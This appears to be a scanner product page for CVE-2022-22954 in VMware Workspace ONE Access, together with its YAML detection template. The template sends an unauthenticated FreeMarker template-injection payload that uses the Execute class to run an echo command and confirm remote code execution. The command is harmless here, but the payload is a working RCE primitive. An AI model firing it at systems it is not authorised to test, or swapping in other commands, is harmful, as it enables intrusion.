Workspace ONE — 1 vulnerability check
noctis ships 1 vulnerability check for Workspace ONE, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
VMware Workspace ONE Access FreeMarker SSTI RCE
| CVE | CVE-2022-22954 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/workspace-one/CVE-2022-22954.yaml |
Sends an unauthenticated GET to /catalog-portal/ui/oauth/verify whose deviceUdid value is a FreeMarker expression running `echo` with a product of two random numbers computed by the template engine. The finding is reported only when the HTTP 400 error page shows that computed product after "device id:", which proves both template evaluation and command execution. The command is a harmless echo; nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utilit… - Parses / computes the next value with a Rhai script
- Checks
hitfor^hit$→ finding QoD 97: GET /catalog-portal/ui/oauth/verify with deviceUdid=${"freemarker.template.utility.Execute"?new()("echo NOCTIS"+(…*…)?c)} — HTTP 400 error …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-22954
- https://www.vmware.com/security/advisories/VMSA-2022-0011.html
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/vmware_workspace_one_access_cve_2022_22954.rb
Feed source — tests/vulnerabilities/workspace-one/CVE-2022-22954.yaml
# CVE-2022-22954 — VMware Workspace ONE Access / Identity Manager FreeMarker SSTI.
# The deviceUdid value is rendered by the FreeMarker error template of the
# /catalog-portal/ui/oauth/verify page ("auth.context.invalid", HTTP 400, "device id: <value>").
# Proof (#2425): Execute runs `echo NOCTIS<a*b>` where a*b is computed by FreeMarker itself
# (`(a*b)?c`), so the product only appears when the template was evaluated AND the command ran;
# a patched server that echoes the raw parameter shows "a*b", never the product.
# Reply format from the Metasploit module (check: /device (?:id|type): <token>/, body includes
# auth.context.invalid). The previous matcher (400 + "Authorization context is not valid") is
# the generic invalid-context error, also returned by patched servers.
uid: 10858a67-756c-43b4-8082-a048a3cf5e0f
name: "VMware Workspace ONE Access FreeMarker SSTI RCE (CVE-2022-22954)"
description: |
Sends an unauthenticated GET to /catalog-portal/ui/oauth/verify whose deviceUdid value is a
FreeMarker expression running `echo` with a product of two random numbers computed by the
template engine. The finding is reported only when the HTTP 400 error page shows that
computed product after "device id:", which proves both template evaluation and command
execution. The command is a harmless echo; nothing is written on the target.
cves: [CVE-2022-22954]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [vmware, workspace-one, identity-manager, ssti, freemarker, rce, kev, intrusive]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-22954"
- "https://www.vmware.com/security/advisories/VMSA-2022-0011.html"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/vmware_workspace_one_access_cve_2022_22954.rb"
steps:
- id: gen-proof
action: script
code: |
let a = rand_int(1000, 9999);
let b = rand_int(1000, 9999);
#{ a: a, b: b, want: "NOCTIS" + (a * b) }
store_as: sc
- id: init-hit
action: set_var
var_name: hit
var_value: ""
# deviceUdid=${"freemarker.template.utility.Execute"?new()("echo NOCTIS"+(a*b)?c)}
- id: ssti-probe
action: http_request
method: GET
path: "/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22echo%20NOCTIS%22%2B%28{{sc.a}}%2A{{sc.b}}%29%3Fc%29%7D"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: resp
- id: check-proof
action: script
condition: "resp.status == 400"
code: |
let body = if type_of(resp.body) == "string" { resp.body } else { "" };
if ereg("device (id|type): *" + sc.want + "([^0-9]|$)", body) { "hit" } else { "" }
store_as: hit
- id: report
action: match
source: hit
pattern: "^hit$"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "GET /catalog-portal/ui/oauth/verify with deviceUdid=${\"freemarker.template.utility.Execute\"?new()(\"echo NOCTIS\"+({{sc.a}}*{{sc.b}})?c)} — HTTP 400 error page shows \"device id: {{sc.want}}\" (product computed by FreeMarker, printed by the executed echo)"